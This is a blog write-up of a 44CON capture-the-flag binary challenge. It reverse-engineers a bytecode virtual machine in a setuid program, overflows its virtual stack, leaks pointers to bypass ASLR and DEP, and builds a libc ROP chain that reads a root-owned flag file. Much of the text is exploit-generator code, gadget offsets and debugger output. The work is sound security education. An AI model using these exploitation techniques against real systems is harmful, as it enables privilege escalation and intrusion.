Infosec Scribbles

September 21, 2019

HackerOne CTF at 44CON: Binary 500

There has been somewhat of a hiatus to my ARM crackme series. There are two reasons for this: r2con 2019 and 44CON 2019. Both had CTF challenges and that’s what I’ve been busy with.

First item on the list is the 500 points binary challenge from 44CON:

┌─────┐                 ┌─────┐
│ BIN │                 │ WEB │
│     ├─┐             ┌>│     ├┐
│ ¥10 │ │             │ │ ¥30 ││
└─────┘ │             │ └─────┘│
┌─────┐ │    ┌──────┐ │        │  ┌──────┐  ┌──────┐  ┌──────┐
│ WEB │ │    │  WEB │ │        │  │  TRI │  │  WEB │  │  BIN │
│     ├─┼─┬─>│      ├─┤        ├─>│      ├─>│      ├─>│      │
│ ¥ 5 │ │ │  │  ¥10 │ │        │  │ ¥100 │  │ ¥120 │  │ ¥250 │
└─────┘ │ │  └──────┘ │        │  └──────┘  └──────┘  └──────┘
┌─────┐ │ │  ╔══════╗ │ ┌─────┐│
│ TRI │ │ │  ║  BIN ║ │ │ BIN ││
│     ├─┘ └─>║      ║ └>│     ├┘
│ ¥ 3 │      ║ ¥500 ║   │ ¥50 │
└─────┘      ╚══════╝   └─────┘

Examining the binary

In this CTF, challenges were accessed by getting a restricted shell into a docker container with no external connectivity. For binary 500, this is what greets us:

user@6ffa6b2f1905:/app$ ls -al
total 44
drwxr-xr-x 1 root root  4096 Sep 12 20:51 .
drwxr-xr-x 1 root root  4096 Sep 12 20:51 ..
-rw-rw-rw- 1 root root    40 Sep 12 20:51 code.bin
-r-------- 1 root root    44 Sep 11 15:18 flag
-rwsr-xr-x 1 root root 21032 Sep 11 15:21 main

I extracted the main executable and code.bin by encoding them with base64 and copying the resulting string from the terminal.

The binary is an ELF for x86_64 and it looks like this is a “pwn” challenge, where we need to get code execution in the target binary to read the flag with root privileges.

Upon launching it, the binary immediately proceeds to the only subroutine:

; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near

argv= qword ptr -10h
argc= dword ptr -4

push    rbp
mov     rbp, rsp
sub     rsp, 10h        ; Integer Subtraction
mov     [rbp+argc], edi
mov     [rbp+argv], rsi
mov     eax, 0
call    sub             ; Call Procedure
mov     eax, 0
leave                   ; High Level Procedure Exit
retn                    ; Return Near from Procedure
main endp

If you’ve never seen a basic virtual machine before, this is what a graph for it looks like:

Finding the vulnerability

Byte code is pulled from code.bin and parsed byte by byte:

void __cdecl vm_body()
{
  uint64_t VM_STACK[128]; // [rsp+0h] [rbp-480h]

  memset(VM_STACK, 0, 0x400uLL);
  fp = fopen("code.bin", "rb");
  fseek(fp, 0LL, SEEK_END);
  len = ftell(fp);
  fseek(fp, 0LL, 0);
  VM_BYTES = malloc(len);
  fread(VM_BYTES, 1uLL, len, fp);
  while ( 1 )
  {
    switch ( VM_BYTES[VM_IP] )
    {

I’ve already renamed my variables here, so if you open this in IDA, the names will be different.

VM_STACK is a local variable, a fixed-size array of unsigned 8-byte values. Local variables are allocated on the stack of the current function, so this will be somewhere in our stack frame alongside other locals that I’ve omitted here.

Since this is a pwn challenge, could there be a stack overflow here? To answer this, let’s look at how data is written into this local variable. First two VM instructions will be enough to find the answer:

      case 1u:
        v0 = VM_SP++;
        VM_HEAP[VM_BYTES[++VM_IP]] = VM_STACK[v0];
        break;
      case 2u:
        v1 = VM_BYTES[VM_IP + 1];
        VM_STACK[--VM_SP] = VM_HEAP[v1];
        ++VM_IP;

All right, so there is a global variable VM_SP, which acts as an index into this array. It’s an int, or a 4-byte long value:

.data:000055CAD30DC060 VM_SP           dd 7Fh                  ; DATA XREF: vm_body:loc_55CAD30D929F↑r
.data:000055CAD30DC060                                         ; vm_body+113↑w ...
.data:000055CAD30DC060 _data           ends

When in use, it gets loaded into a 32-bit register:

.text:000055CAD30D929F                 mov     eax, cs:VM_SP   ; jumptable 000055B2DD3F829D case 1
.text:000055CAD30D92A5                 lea     edx, [rax+1]    ; Load Effective Address
.text:000055CAD30D92A8                 mov     cs:VM_SP, edx

However, for calculating the offset into the VM_STACK, it gets zero-extended into a 64-bit register and multiplied by 8, because VM_STACK is an array of 8 byte long values:

.text:000055CAD30D92CB                 cdqe                    ; EAX -> RAX (with sign)
.text:000055CAD30D92CD                 mov     rax, [rbp+rax*8+VM_STACK]

Anyway, our virtual stack can only fit 128 values and our index goes as far as 4294967296. There are no range checks on this index prior to carrying out operations on the virtual stack, so it can definitely be overflown.

VM_HEAP is another global. This one is declared as a similar array that fits 256 values:

.bss:000055CAD30DC0A0 ; uint64_t VM_HEAP[256]
.bss:000055CAD30DC0A0 VM_HEAP         dq 100h dup(?)          ; DATA XREF: vm_body+14B↑o
.bss:000055CAD30DC0A0                                         ; vm_body+1A7↑o

Can this be overflown too? Not really. The index here is 1 byte long: VM_HEAP[VM_BYTES[++VM_IP]]. That takes precisely 256 values.

These two instructions allow us to move values between top of the virtual stack and to/from an index on the virtual heap. This index is provided as an immediate operand to the current VM instruction, and cursor of the VM parser gets adjusted accordingly.

Remaining VM instructions allow you to:

  • Push values on the VM stack
  • Swap two items on top of the VM stack
  • Dereference a value on top of the VM stack
  • Duplicate the value on top of the VM stack
  • Do basic arithmetic
  • Print values with 0x%llx as the format string
  • Do conditional jumps to offsets in byte code

To understand this and get the experience of unpacking a VM, I wrote an unpacker for it. I’ve never unpacked a VM before, so this was fun, but this will be a long enough blog post even without walking through the unpacker, so let’s proceed.

This is the byte code after unpacking and decompiling it:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  __int64 v4; // [rsp+0h] [rbp-400h]

  VM_HEAP = malloc(0x800uLL);
  memset(&v4, 0, 0x400uLL);
  printf(LOGFMT, v4); // 0x%llx
  VM_HEAP = 15LL;
  do
  {
    printf(LOGFMT, VM_HEAP);
    VM_HEAP -= 3LL;
    v4 = VM_HEAP;
    result = VM_HEAP;
  }
  while ( VM_HEAP );
  return result;
}

So there isn’t much of interest going on, just some values thrown around and printed out.

Since we can write to code.bin, and the virtual stack looks exploitable, it looks like the goal is to supply byte code that will trigger a stack overflow and transfer control to us.

Understanding how virtual stack works

Before we can overflow the virtual stack, it wouldn’t hurt to figure out where we are in it. Since the initial value for VM_SP is hardcoded, we will always start at 0x7F - index 127, or the edge of the stack. Upping this just by one, to 128, will already result in overwriting memory that does not belong to the virtual stack. How do we get this done? Remember that stacks are backwards structures: pushing a value on the stack decreases the stack pointer, popping a value off the stack increases it. By looking at which instructions increment VM_SP we can find a way to bump the index to 128. This means pretty much any instruction that is reading off the stack. To avoid changing any states, I picked the printing instruction.

Great, I can overflow the virtual stack. How can I overwrite something meaningful and make it crash? By finding out how much data I need to overwrite before corrupting something useful, like a return address or the frame pointer backed up in the prologue of the current function. Let’s take a quick look at our stack frame in IDA:

-0000000000000480 VM_STACK        dq 128 dup(?)
-0000000000000080                 db ? ; undefined
-000000000000007F                 db ? ; undefined
-000000000000007E                 db ? ; undefined
-000000000000007D                 db ? ; undefined
-000000000000007C                 db ? ; undefined
-000000000000007B                 db ? ; undefined
-000000000000007A                 db ? ; undefined
-0000000000000079                 db ? ; undefined
-0000000000000078 b_5             dq ?
-0000000000000070 a_5             dq ?
-0000000000000068 b_4             dq ?
-0000000000000060 a_4             dq ?
-0000000000000058 b_3             dq ?
-0000000000000050 a_3             dq ?
-0000000000000048 b_2             dq ?
-0000000000000040 a_2             dq ?
-0000000000000038 b_1             dq ?
-0000000000000030 a_1             dq ?
-0000000000000028 b_0             dq ?
-0000000000000020 a_0             dq ?
-0000000000000018 b               dq ?
-0000000000000010 a               dq ?
-0000000000000008 temp            dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

Starting at index 127 places us at: -0x480+127*8 = -0x88. Future RBP and RIP values will be at +0 and +8. At this point I made a table to help me navigate the stack during exploit writing:

VM_STACK + 8x VMSP_TOP + 8x Content
0 -127 irrelevant
irrelevant
127 (0x7F) 0 starting point
128 1 FF FF FF FF
129 2 0
irrelevant
144 17 previous RBP (stack frame)
145 18 main *
146 19 stack *; SP after ret points here

This makes it pretty obvious that I need to pop 19 values off the stack and push 2 to overwrite RBP and RIP. Something like this should get it done:

bytecode = "".join([ASM._inc_vmsp() * 19,   # += 19
                    VM._push(0xBABEFACE),   # --; put BABEFACE to RIP
                    VM._push(0xFACEFCFC),   # --; put FACEFCFC to RBP
                    VM._exit()              # this should return us to BABEFACE with RBP as FACEFCFC
                    ])

print bytecode

Writing an assembler for this VM is an exercise I leave for the reader. Running the payload generated by this script and examining the registers shows that I am on the right track:

$ r2 -d main2                     
Process with PID 30270 started...
= attach 30270 30270
bin.baddr 0x55a14017c000
Using 0x55a14017c000
asm.bits 64
[0x7f1e480fc090]> dc
0x0
0xffffffff
0x0
0x7ffe2caed268
0x7f1e48324710
0x0
0x0
0x0
0x756e6547
0xb
0x7f1e480fd660
0x7ffe2cadd648
0xf0b5ff
0xc2
0x55a14017d875
0x7f1e4810b9a0
0x0
0x7ffe2cadd630
0x55a14017d822
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0xbabeface code=1 ret=0
[0xbabeface]> dr rip; dr rbp
0xbabeface
0xfacefcfc

Writing shellcode

It turns out that nobody in the real world will pay you for writing exploits (shock!), so this is something I haven’t done since university. One notable change since then came with 64-bitness: now function arguments are no longer passed on the stack; instead they are passed through registers in specific order. A simple hack that saves me from memorizing that order is to just look up how the functions I need are called in normal binaries, like the one I am exploiting. This CTF task already makes calls to all functions I need, such as:

  • fopen
  • fread
  • printf

By ripping assembly out of the binary, I obtained the following shellcode:

lea     rsi, modes                      ; "r\0"
lea     rdi, filename                   ; "flag\0"
call    _fopen                          ; Call Procedure
; Need to mov rax to rcx here
mov     rcx, rdx                        ; stream
mov     rdx, rsi                        ; n <-- 44 (>= flag length)
mov     esi, 1                          ; size
mov     rdi, rax                        ; ptr <-- will contain flag
call    _fread                          ; Call Procedure
mov     rsi, rax                        ; ptr <-- contains flag
lea     rdi, format                     ; "%s\n\0"
mov     eax, 0                          ; printf will crash without this
call    _printf                         ; Call Procedure

However, since both DEP and ASLR are active, this will have to be somewhat more involved.

Bypassing DEP and ASLR

DEP (known as NX on Linux) bypass is easy: just find some ROP gadgets and put their addresses on the stack. However, since ASLR is active, these addresses will be randomized on each run. To get around it, we need to get some valid pointers at runtime, calculate image base and our stack location using these pointers, then use these base addresses to recalculate addresses of ROP gadgets. Such valid pointers are known as leaky pointers or dangling pointers. Since we are executing byte code and can access the real stack by overflowing the virtual stack, we can probably pick some valid pointers from there. In fact, RBP and RIP values that I’ve overwritten when crashing the task are perfect for this. If only there was a way to back them up somewhere while I do my shenanigans on the stack. Oh wait, there is: virtual heap. Let’s try this out:

bytecode = "".join([ASM._inc_vmsp() * 17,   # += 17; stop at RBP
                    ASM._to_heap(0),        # ++
                    ASM._to_heap(1),        # ++
                    ASM._from_heap(1),      # --
                    ASM._from_heap(0),      # --
                    VM._printf() * 2,       # += 2
                    VM._push(0xBABEFACE),   # --; put BABEFACE to RIP
                    VM._push(0xFACEFCFC),   # --; put FACEFCFC to RBP
                    VM._exit()              # this should return us to BABEFACE with RBP as FACEFCFC
                    ])

print bytecode

This will back up RBP and RIP to heap, put them back, print them out and crash like it did before:

$ r2 -d main2                     
Process with PID 30694 started...
= attach 30694 30694
bin.baddr 0x55ee5cf17000
Using 0x55ee5cf17000
asm.bits 64
[0x7f5946433090]> dc
0x0
0xffffffff
0x0
0x7fff2dbb3268
0x7f594665b710
0x0
0x0
0x0
0x756e6547
0xb
0x7f5946434660
0x7fff2daf0ab8
0xf0b5ff
0xc2
0x55ee5cf18875
0x7f59464429a0
0x0
0x7fff2daf0aa0
0x55ee5cf18822
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0xbabeface code=1 ret=0
[0xbabeface]> dr rip; dr rbp
0xbabeface
0xfacefcfc

Great, I have my pointers. Now for the ROP gadgets. Back in the day it was mona.py and Olly/Immunity debugger. These days you have lots of options, but not a single plugin that works well with the latest version of IDA. Oh well, let’s try Radare’s /R. Empty output on Linux x86_64. Great, time for a less obvious solution. I searched for ROP gadget finders on GitHub and found this one to be the most widely followed. Using it is pretty easy: supply it with a binary, save output, grep output for what you need. What do I need though?

Going back to that shellcode mentioned above, let’s rewrite it using the ROP paradigm™:

pop rsi         ; read mode
pop rdi         ; flag filename
ret             ; precalculated addr of fopen in main
mov rcx, rax    ; file handle from fopen
pop rdx         ; 44
pop esi         ; or anything that sets esi to 1
pop rdi         ; buffer to read into
ret             ; precalculated addr of fread in main
pop rsi         ; buffer with fread output
pop rdi         ; format string
pop rax         ; or anything that sets eax to 0
ret             ; precalculated addr of printf in main

And search for the gadgets:

$ ROPgadget --binary main2 > gadgets-main.gg
$ grep -P "pop rsi" gadgets-main.gg
0x0000000000001889 : pop rsi ; pop r15 ; ret
$ grep -P "mov rcx, " gadgets-main.gg

Fabulous, there is no move to RCX in the main binary, and I need to put the result of fopen() there without using the stack. Looks like I might need some more leaked pointers, as well as the libc binary from the target box to expand the amount of ROP gadgets at my disposal. That binary is a bit much for exfiltrating via base 64, so instead I did this:

  • Calculate sha256 for the binary on the target
  • Run dpkg -l to find out that the package and version I need are libc6 (2.28-10)
  • Pull this package from https://packages.debian.org/buster/libc6
  • Verify the hash to make sure I have the correct binary
  • Search this binary for ROP gadgets.

At this point I also moved on to debugging in IDA, because doing anything more involved than dc; dr rip in Radare or GDB is just a form of self harm. This time I’ve set a breakpoint on the switch() statement in the VM parsing function to see what else I could grab off the stack in terms of useful pointers. Lo and behold, something I should have thought about: __libc_start_main is the next function on the call stack at index 149 of the virtual stack.

00007FFE7F297230  00007FFE7F297250  [stack]:00007FFE7F297250
00007FFE7F297238  000055BD74160822  main+19; VM STACK index 145
00007FFE7F297240  00007FFE7F297338  [stack]:00007FFE7F297338
00007FFE7F297248  0000000100000000  
00007FFE7F297250  000055BD74160830  __libc_csu_init
00007FFE7F297258  00007FC1460BEB97  libc_2.27.so:__libc_start_main+E7; VM STACK index 149

Time to adjust the payload to back that up on the heap too and find the remaining gadgets, while keeping in mind that virtual stack index is now at a different location once all the backups to heap are done.

Next step is to find the remaining ROP gadgets, calculate ROP gadget offsets from base and we’re all set with this part of the process. Finding a mov rcx, rax turned out to be a little involved. The only suitable gadget I found was this:

libc:0x000000000008ec68 : mov rcx, rax ; xor eax, eax ; mov qword ptr [rdx], rcx ; ret

However, there is a slight problem here. Before this gadget returns, a quad word from RCX will be written to the address that RDX points to. If value in RDX is not a valid address for writing to it, the exploit will crash the process before the ROP chain gets fully executed. My solution to this was to calculate a “black hole” on the stack by subtracting a large value from my leaked stack address. This would place it into space that is both writeable and not in use when the problematic instruction gets executed, therefore solving my problem.

Shellcode to byte code

This part was probably more fun per minute than anything in this challenge so far. This CTF task was kind of like a shit sandwich: have fun reversing the VM, eat shit dealing with DEP and ASLR, have fun building the payload.

First I decided to rewrite my shellcode from ROP paradigm™ into virtualized ROP paradigm™:

HEAP3:0x0000000000001889 : pop rsi ; pop r15 ; ret
rsi
r15
HEAP4:0x000000000000188b : pop rdi ; ret
rdi
fopen
HEAP6:libc:0x0000000000106725 : pop rdx ; ret
rdx/black hole (HEAP7)
HEAP5:libc:0x000000000008ec68 : mov rcx, rax ; xor eax, eax ; mov qword ptr [rdx], rcx ; ret
HEAP6:libc:0x0000000000106725 : pop rdx ; ret
rdx
HEAP3:0x0000000000001889 : pop rsi ; pop r15 ; ret
rsi
r15
HEAP4:0x000000000000188b : pop rdi ; ret
rdi
fread
HEAP3:0x0000000000001889 : pop rsi ; pop r15 ; ret
rsi
r15
HEAP4:0x000000000000188b : pop rdi ; ret
rdi
HEAP8:libc:0x000000000003a638 : pop rax ; ret
rax
printf

This is what I will need to have on the stack starting at VM stack index 145, where return address inside main() used to be. The address of the first ROP gadget will get popped into RIP and hopefully my shellcode gets executed.

I decided to do this so that I don’t get confused and lost in what’s where while writing VM instructions. All addresses get pre-calculated and stored on the virtual heap, then I set the virtual stack pointer at the correct offset from index 145 to fit my shellcode and just push it on the once virtual, now real stack in reverse order.

Now I had to write VM instructions that would calculate module bases and a stack address I could easily work with for my call arguments:

ASM._inc_vmsp() * 18,
ASM._to_heap(0),            # main+19
ASM._to_heap(1),            # sp_after_ret contains this
ASM._inc_vmsp() * 2,        # <--- at 149
ASM._to_heap(2),            # libc_pre_exit; ++
# 150 - all calculations are VMSP zero sum
VM._push(0x1822),           # --
ASM._from_heap(0),          # --
VM._sub(),                  # ++
ASM._to_heap(0),            # main base; ++

VM._push(0xDEADFACE),       # --
VM._printf(),               # bases output marker; ++

ASM._from_heap(0),          # --
VM._printf(),               # ++

VM._push(0xF8),             # --
ASM._from_heap(1),          # --
VM._sub(),                  # ++
ASM._to_heap(1),            # &sp_after_ret; ++

ASM._from_heap(1),          # --
VM._printf(),               # ++

VM._push(0x2409B),          # --
ASM._from_heap(2),          # --
VM._sub(),                  # ++
ASM._to_heap(2),            # libc base; ++

ASM._from_heap(2),          # --
VM._printf(),               # ++

VM._push(0xFACEDEAD),       # --
VM._printf(),               # bases output end marker; ++

Followed by recalculating addresses of all ROP gadgets:

ASM._from_heap(0),          # gadget calculations
VM._push(0x1889),
VM._add(),
ASM._to_heap(3),

ASM._from_heap(0),
VM._push(0x188B),
VM._add(),
ASM._to_heap(4),

ASM._from_heap(2),          # fixed up mov rcx, rax gadget
VM._push(0x8EC68),
VM._add(),
ASM._to_heap(5),

ASM._from_heap(2),
VM._push(0x106725),
VM._add(),
ASM._to_heap(6),

VM._push(0x50),
ASM._from_heap(1),          # prepare a black hole
VM._sub(),
ASM._to_heap(7),

ASM._from_heap(2),
VM._push(0x3a638),
VM._add(),
ASM._to_heap(8),

ASM._from_heap(0),          # function offsets
VM._push(0x1090),
VM._add(),
ASM._to_heap(9),

ASM._from_heap(0),
VM._push(0x1030),
VM._add(),
ASM._to_heap(0xA),

ASM._from_heap(0),
VM._push(0x1040),
VM._add(),
ASM._to_heap(0xB),

Followed by calculating addresses of my future arguments on the stack and putting them on the virtual heap:

# 145 + 25*8
ASM._from_heap(1),
VM._push(0xC0),
VM._add(),
ASM._to_heap(0xC),

ASM._from_heap(1),
VM._push(0xC8),
VM._add(),
ASM._to_heap(0xD),

ASM._from_heap(1),
VM._push(0xD0),
VM._add(),
ASM._to_heap(0xE),

ASM._from_heap(1),
VM._push(0xD8),
VM._add(),
ASM._to_heap(0xF),          # buffer for the flag

And finally, doing the math to figure out where my virtual stack pointer will be at this point, moving it by the amount of space I need for the shellcode, and punching in the shellcode:

# We are at 150 and we need to be at 145+25 (rop chain length)
ASM._inc_vmsp() * 20,       # landing at 145+25

# arguments that get passed as pointers, in reverse order
ASM._inc_vmsp() * 3,        # landing at 145+25+3 for 3 args
VM._push(0x72),             # "r\0"    ; HEAP 0xE
VM._push(0x0067616c66),     # "flag\0" ; HEAP 0xD
VM._push(0x000A7325),       # "%s\n\0" ; HEAP 0xC

# now lay out the stack with the rop chain...backwards
ASM._from_heap(0xB),    #printf
VM._push(0),            #rax
ASM._from_heap(0x8),    #pop rax
ASM._from_heap(0xC),    #rdi
ASM._from_heap(0x4),    #pop rdi
VM._push(0),            #r15
ASM._from_heap(0xF),    #rsi: buffer with flag
ASM._from_heap(0x3),    #pop rsi
ASM._from_heap(0xA),    #fread()
ASM._from_heap(0xF),    #rdi: buffer for flag
ASM._from_heap(0x4),    #pop rdi
VM._push(0),            #r15
VM._push(1),            #rsi
ASM._from_heap(0x3),    #pop rsi ; pop r15
VM._push(60),           #rdx: 44
ASM._from_heap(0x6),    #pop rdx
ASM._from_heap(0x5),    #mov rcx, rax ; junk
ASM._from_heap(0x7),    #rdx: black hole
ASM._from_heap(0x6),    #pop rdx
ASM._from_heap(0x9),    #fopen()
ASM._from_heap(0xD),    #rdi: "flag"
ASM._from_heap(0x4),    #pop rdi
VM._push(0),            #r15
ASM._from_heap(0xE),    #rsi: "r"
ASM._from_heap(0x3),    #pop rsi ; pop r15

VM._exit()

I executed my payload in a Docker container of Debian Buster, which had the correct version of libc to match offsets of the CTF environment, but which for some reason refused to pass module information to IDA - a problem I didn’t have on my local Ubuntu environment. Whatever, at this point I just needed to run it and see if my payload would read a file called flag placed next to the main executable. It did. So I uploaded my byte code to the CTF environment and pulled out the flag:

user@6ffa6b2f1905:/app$ ./main
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0x0
0xf0b5ff
0xc2
0x7ffc6fe50e26
0x1
0x7f43a58dcaf5
0x0
0x56457388f875
0x7f43a5a15530
0x0
0x7ffc6fe50e50
0x100000000
0x56457388f830
0xdeadface
0x56457388e000
0x7ffc6fe50e40
0x7f43a583a000
0xfacedead
0x0
0x7ffc6fe50f38
0x100040000
0x56457388f809
0x0
0x355a76add9a5e7c5
0x56457388f0b0
0x7ffc6fe50f30
0x0
0x0
0x66284e763505e7c5
0x6757dab7e963e7c5
0x0
0x0
0x0
0x7ffc6fe50f48
0x7f43a5a2f190
0x7f43a5a15476
0x0
0x0
0x56457388f0b0
0x7ffc6fe50f30
0x0
And b100d-b14ck n0thingness beg4n^t0<spin...
Segmentation fault (core dumped)
user@6ffa6b2f1905:/app$